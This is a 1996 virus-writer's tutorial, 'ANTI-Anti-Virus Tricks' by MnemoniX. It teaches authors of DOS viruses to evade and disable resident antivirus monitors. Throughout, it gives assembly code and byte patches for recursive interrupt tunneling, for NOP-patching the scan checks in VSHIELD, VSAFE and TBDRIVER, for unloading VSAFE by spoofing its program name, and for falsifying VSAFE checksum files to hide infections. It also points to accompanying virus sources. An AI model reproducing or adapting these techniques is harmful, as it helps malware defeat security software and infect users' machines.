ANTI-Anti-Virus Tricks
by
MnemoniX
Version 1.00 - 1/96
Improved antivirus programs got you down? Don't worry - with the help
of this file you can create a virus that will surpass the protection of most
computers out there, computers whose hapless users are convinced are truly
"protected."
Before we begin, I must first introduce the concept of ...
***********************
* RECURSIVE TUNNELING *
***********************
Recursive tunneling is the practice of tracing the code attached to
a particular interrupt and finding the original DOS or BIOS code, surpassing
all resident programs (AV monitors included.) This involves using the trap
flag in the flags register, which can be turned on with the following code:
mov ax,100h ; set bit 8 (trap flag)
push ax
popf
Once this trap flag is set, a type 1 interrupt is generated after
each instruction. We can catch this interrupt and trace the interrupt 21h
code, for example, by calling interrupt 21 with the trap flag on. (Note that
you must CALL the interrupt 21h routine, and not run it using INT 21h;
otherwise, the trap flag is automatically turned off when the INT instruction
is run.) To find the original DOS or BIOS code, then, one must:
1) Attach a tunneling routine to interrupt 1.
2) Find the original segment of the DOS or BIOS code
we are tracing. (there are various ways to do this)
3) Set the trap flag.
4) Call the interrupt routine (NOT with an INT). Do it like
this:
xor ax,ax
mov ds,ax
pushf
call dword ptr ds:[21h * 4] ; calls INT 21h
5) Tunneling routine should trace code until original DOS
or BIOS segment is reached by continually checking segment
of current instruction. Once DOS or BIOS segment is
reached, the current offset must be saved and tunneling
routine stops checking code.
6) Clear trap flag by clearing bit 8 in flags.
When address of original interrupt is found, the interrupt may be
called without the resident programs in memory knowing anything about it.
A note: The trap flag may be turned off by a POPF or IRET instruction,
which will screw up your routine. To prevent this, you must check the current
instruction and see if it is a POPF or IRET. If so, we must set bit 8 of the
flags value on the stack BEFORE the POPF or IRET is processed, to make sure
the trap flag stays set. (An interrupt call saves the flags value on the
stack, and thus the flags are popped after CS:IP when an IRET instruction is
run. In case you didn't know.)
Similarly, you can partially hide the existence of your tunneling
routine. Whenever an INT, INTO, or PUSHF instruction is reached, you can
alter the value on the stack after the instruction is run. This is generally
not necessary, however, and does not totally hide the tunneling routine
anyway - there are many other ways to generate an interrupt, thus causing the
flags value to be saved and the trap discovered.
Recursive tunneling will enable you to engage in questionable actions
without knowledge of AV programs. However, this does not render these actions
undetectable. TBDRIVER, for example, can detect and warn the user of a
recursive tunneling routine. And although VSAFE can't find a tunneling rou-
tine, it can detect changes to a program when the program is run again. So
what does one do to make these programs look the other way?
This is where we introduce the concept of ...
************
* PATCHING *
************
Patching involves fixing up a resident program to alter its perfor-
mance. If a hypothetical program is to scan for viruses every time a program
is run, it could capture interrupt 21h, and somewhere along the line it could
use code like this to scan every program being run :
int_21_code: ; called when interrupt 21h is called
cmp ah,4Bh ; is a program being executed?
je scan_program ; if so, scan it
jmp original_int_21 ; if not, ignore it
This program's ability to scan for viruses is dependent upon the JE
instruction that checks for every call to interrupt 21h with AH=4Bh (the DOS
program execution function.)
Now, if you wanted to deactivate this program, you could search for
this little snippet of code when you tunnel through interrupt 21h, and upon
finding it, change the two-byte JE instruction into two NOP's:
int_21_code:
cmp ah,4Bh ; is a program being executed?
nop ; doesn't matter, because even if it
nop ; was we would return to the original
; interrupt 21h anyway
jmp original_int_21 ; see?
After this is done, the program won't find ANY viruses, and it becomes
a waste of memory - all because two bytes were changed!
Note that if this same program caught interrupt 13h, or also checked
programs as they were opened, it would still do these things. We have simply
prevented the program from checking programs as they are executed. In many
cases, a single patch like this will suffice.
This is the essence of patching, and an example of using patching in a
tunneling routine to deactivate certain popular AV programs is found in the
program AV-KILL.ASM. This checks for the existence of TBDRIVER, VSAFE, and
VSHIELD in memory, and patches them if they are found.
And now, I will discuss the various ways to defeat individual virus scanners.
I should note that these are based on SPECIFIC VERSIONS of SPECIFIC MONITORS,
and will NOT work for every version of every monitor. These may be updated as
new monitors come out.
********************
* VSHIELD (McAfee) *
********************
Do you really need to guard against VSHIELD? Well, a new virus will
never be detected by VSHIELD, but future versions may be able to scan for
that same virus. Fortunately, VSHIELD is quite easy to disarm and render
useless.
PATCHING VSHIELD
This patch will prevent VSHIELD from detecting any viruses. This
was tested on VSHIELD V106 - an old version - and probably will not work
on every version, but what the hell. There is a portion of the code which
looks like this:
80 FC 0E cmp ah,0E
74 06 je 0A1C
80 FC 4B cmp ah,4B
74 09 je 0A24
To fix this up, you can :
replace the first byte (80) with CB (a RET)
OR
replace the second JZ (74 09) with two NOP's (90 90)
Either way VSHIELD will no longer scan files as they are executed.
How can you get the original host program past VSHIELD, before VSHIELD has
been patched? Just encrypt it or PKLITE it. Simple enough.
****************************************************
* VSAFE versions 1 and 2 (Central Point/Microsoft) *
****************************************************
While VSAFE 1.0 was conquered a long time ago, not much seems to have
been done to hack VSAFE 2. Making a virus or hacked program VSAFE-resistant
will make it much more viable, since it is a popular AV monitor. The old
tricks that could be played on VSAFE 1 (which was pure crapware) no longer
work like they used to. Here is what I was able to find though a little bit of
investigation ... (BTW, this was tested on MSAV 1.0 and CPAV 2.2. It should
be similar for other versions except where noted.)
Firstly, as with all versions, one can check for the presence of VSAFE
in memory with the following code:
mov ax,0FA00h
mov dx,5945h ("VS")
int 16h
If DI = 4559h ("SV"), VSAFE is present. Functions 16/FA03 and 16/FA08
will return constant values whose significance is unbeknownst to me - they
don't seem to be version numbers.
Next, the old trick which deinstalled VSAFE, which was the same as the
above code except AX = FA01h, won't cut it anymore. Nor will it change the
VSAFE flags anymore when AX = FA02h. Does this mean that the you can no longer
make VSAFE turn the other way? Hardly - there are still ways around it.
(Remember, _no_ program is immune to being duped.)
The two functions to deinstall or change VSAFE options are still there,
but now there's a twist: It checks to see which program is running before it
will act. This is a pain to get around, but not impossible. You can find the
name of the current resident program in the DOS environment, which is found
by getting the DOS environment segment (at offset 2Ch in the PSP), finding
the name of the current program (the environment table is at offset 0, then
two zero bytes signal the end of it, and then there's another two bytes, after
which the name of the current program is found) and changing it to
"\VSAFE.EXE".
Actually, you don't even need to go to all that trouble. You see,
VSAFE doesn't actually check the filename; it just makes a checksum of the
letters in the filename minus extension. I am hesitant to go into the details
of this now; if you want to see how the checksum works examine it yourself.
Suffice it to say that if, before the period in the filename, you insert the
three-byte hex string 5CFF76, VSAFE will think it's being loaded. Do I hear
cries for an example?
mov ax,ds:[2Ch] ; get environment segment
mov es,ax
xor di,di ; after the table of environ-
mov cx,17D0h ; ment strings, we will find
xor al,al ; the current program name
find_environ_end:
repnz scasb ; scan through environment
cmp byte ptr es:[di],0 ; end of table?
jnz find_environ_end
add di,3 ; address of program name
mov al,'.' ; find extension
repnz scasb ; extension found
mov si,es:[di - 3] ; save orig. program name
mov es:[di - 3],76FFh ; modify program name
mov bh,es:[di - 4] ; make VSAFE think it is
mov byte ptr es:[di - 4],5Ch ; calling itself
; VSAFE 2 may now be unloaded
mov ax,0FA01h ; unload VSAFE
mov dx,5945h
int 16h
; fix up program name again
mov es:[di - 3],si ; replace orig. program name
mov es:[di - 4],bh
Here is a listing of all the VSAFE functions you need to know.
(All functions called by INT 16h with DX = 5945h)
AX = FA00h - Test for VSAFE resident
DI=4559h on return is res.
AX = FA01h - Deinstall VSAFE
AX = FA02h - Change VSAFE flag settings
BL=bits 0-7 represent settings for flags 1-8, resp.
on return, CL holds previous flag setting
AX = FA05h - Turn popup menu on/off
BL=0 (on) or 1 (off)
Version 2 checks name of program currently running before executing
functions FA01, FA02 or FA05.
Deinstalling VSAFE works well if nothing is loaded after it in
memory. However, this may not be the case, and if other programs are loaded
VSAFE gives an error message. Hence I don't consider this the best way to
deactivate the program. A better way would be to patch up VSAFE as described
below, and upon writing the disk, save the VSAFE flags and switch them all
off, then restore when done. This should keep it quiet.
If you're too lazy to mess around with that, there's an even easier
way. The flag status byte in VSAFE 2 is located at offset 0F1Dh in the code,
and you can modify it directly upon finding VSAFE's segment (check INT 16h's
segment.) This particular method will only work for version 2.2; the address
is probably different for other versions.
Moving on, one will find that the old CHKLIST.CPS files have now been
replaced by SMARTCHK.CPS files, which have a different format. (The MSAV
equivalents of these files are CHKLIST.MS and SMARTCHK.MS, respectively.) Each
record is 60 bytes long, and consists of the following data:
Data Offset Length
----------------------------------------------
ASCIIZ filename 0 13
File attributes 13 1
File size 14 4
File time 18 2
File date 20 2
First 32 bytes of file 22 32
Checksum data 54 4
Apparently always set to zero. 58 2
Now, a VSAFE-smart virus could increase its stealthiness by modifying
this data, which isn't as much of a pain as it may sound. It could modify the
filenames, so VSAFE no longer properly checks the programs. A more ambitious
programmer could look for the filename, change the first few recorded bytes of
the file, change the date, and fix the checksum. But how do we calculate the
checksum, you ask? Good question. The checksum routine in VSAFE 2 is long and
complicated. (In case you were wondering, the VSAFE 1.0 checksum can be
calculated like this:
DS:SI = offset of first 64 bytes of file
(or if file is < 64 bytes long, the entire file)
BX = high word of 32-bit checksum
DX = low word of 32-bit checksum
CX = 64 (for loop) or size of file if < 64 bytes
AH = 0 (for addition)
vsafe_checksum:
lodsb ; add first byte
add dx,ax
adc bx,0
lodsb ; subtract second byte
sub dx,ax
sbb bx,0
lodsb ; XOR third byte by first checksum
xor dl,al ; byte only
sub cx,3
cmp cx,2
ja vsafe_checksum
The finished checksum is in BX:DX.) I haven't figured out the VSAFE 2 checksum
routine yet - it's much more complicated. But you're welcome to look.
The included UNSAFE.ASM program is a virus, and demonstrates the
manipulation of VSAFE flags and corruption of SMARTCHK.CPS files. As a
demonstration, try setting the write protect flag on, and then infect a few
files. VSAFE will not warn you of the write, because the flags are temporarily
turned off by the virus when it spreads. Examine and learn.
PATCHING VSAFE
When VSAFE 2.2 is installed, it installs a routine onto interrupt 21h which
checks for different DOS calls, as all monitors do. There is a portion of the
interrupt 21 code which looks like this :
80 FC 4B cmp ah,4B ; this catches the DOS execute program
74 62 jz 0BAF ; call so VSAFE can do program checks
80 FC 4C cmp ah,4C ; this catches a DOS terminate program
74 33 jz 0B85 ; call so VSAFE can check memory
80 FC 00 cmp ah,0 ; another terminate program call check
74 15 jz 0B6C
If we set the trap flag, set AH to 99h (or any nonexistent function
call), call interrupt 21 and scan the code with a tracing routine, we will
eventually find this point. Once we do, it's quite simple to eliminate VSAFE
checks when a program begins and ends:
80 FC 4B cmp ah,4B
90 nop ; the JZ's have been replaced with two
90 nop ; NOP's each ... VSAFE will no longer
80 FC 4C cmp ah,4C ; check programs as they are run,
90 nop ; or check memory when a program
90 nop ; terminates, because it won't know
80 FC 4C cmp ah,0 ; when these things happen anymore.
90 nop
90 nop
(A brief note: A program can also terminate via interrupt 20h, and
VSAFE _will_ check memory if a program terminates this way. This interrupt
is more difficult to tunnel - once the DOS segment is reached, the tunneling
must be stopped - but it is not impossible. A similar patch could be created
to solve the problem.)
***************
* Thunderbyte *
***************
TB MONITORS
All TB monitors work through TBDRIVER and hook the critical interrupts
21h,13h, and 40h. These same monitors can be defeated by recursive tunneling
if TBDRIVER's ability to detect such tunneling is deactivated, however.
TBDRIVER'S DETECTION OF RECURSIVE TUNNELING
TBDRIVER is resistant to most recursive tunneling. When an interrupt
21 is called, TBDRIVER checks the status of the trap flag for a recursive
tunneling routine and will display a message if it is found to be set. The
code that does this appears virtually impenetrable, and looks like this:
(This is from TBDRIVER version 6.14; it may be different now but the idea
is basically the same.)
cli ; clear interrupts to prevent
pushf ; interference ...
cld
push ax ; what this, in essence, does is
push bx ; that is saves a value on the stack,
xchg ax,bx ; pops it, decrements the stack ptr.
pop ax ; to point to it again, pops it again,
dec sp ; and if the value changed, an int-
dec sp ; errupt must have occured. Since the
pop bx ; interrupt flag is off, the only
cmp ax,bx ; interrupt this could be is a type 1 -
pop bx ; the trap flag interrupt routine.
jz 02A1 ; If two values popped are different,
; it warns the user.
PATCHING TBDRIVER
Now, there is no way to fool this routine. You can't hide the change
to the value on the stack. However, you _can_ scan for this code in your
tunneling routine, and modify it if it is found. You could look, for example,
for the following code in the interrupt 21 routine:
5C pop bx
3B C3 cmp ax,bx
5B pop bx
74 0D jz 02A1
If we find the string 5C 3B C3 5B 74 0D, we know TBDRIVER is present.
The next step is modifying the code to make it useless.
The JZ instruction is the test. If AX and BX are equal, then the Z
flag is set, and if the Z flag is set, the code is not being traced as far
as TBDRIVER is concerned. Hence, you want it to act as though the Z flag was
_always_ set. You could do this by changing the instruction to a JMP:
EB 0D jmp 02A1
Now you find the original offset of DOS's interrupt 21 with the same
tunneling routine, and call it directly, bypassing all TB utilities.
DISABLING TBSCANX
Earlier versions of TBSCANX hook INT 2Fh when they load, and install
the following functions :
AX = CA00h Test for installation (return FF in AL if res.)
BX = 'TB' ('tb' on return if resident)
AX = CA04h Scan file
DS:DX = program to be scanned
(carry set means infected, ES:BX=filename)
With a little work and a good debugger, you can trace the code of other AV
monitors and find similar code in the interrupt 21h or 13h routines. If you
know what you're doing, you could create similar patches to the ones above
for these monitors. The same could be done with non-resident virus scanners,
although this is a more difficult job, and not really worth it in my opinion
since most good scanners check themselves and probably won't find any _good_
new virus anyway.
- MnemoniX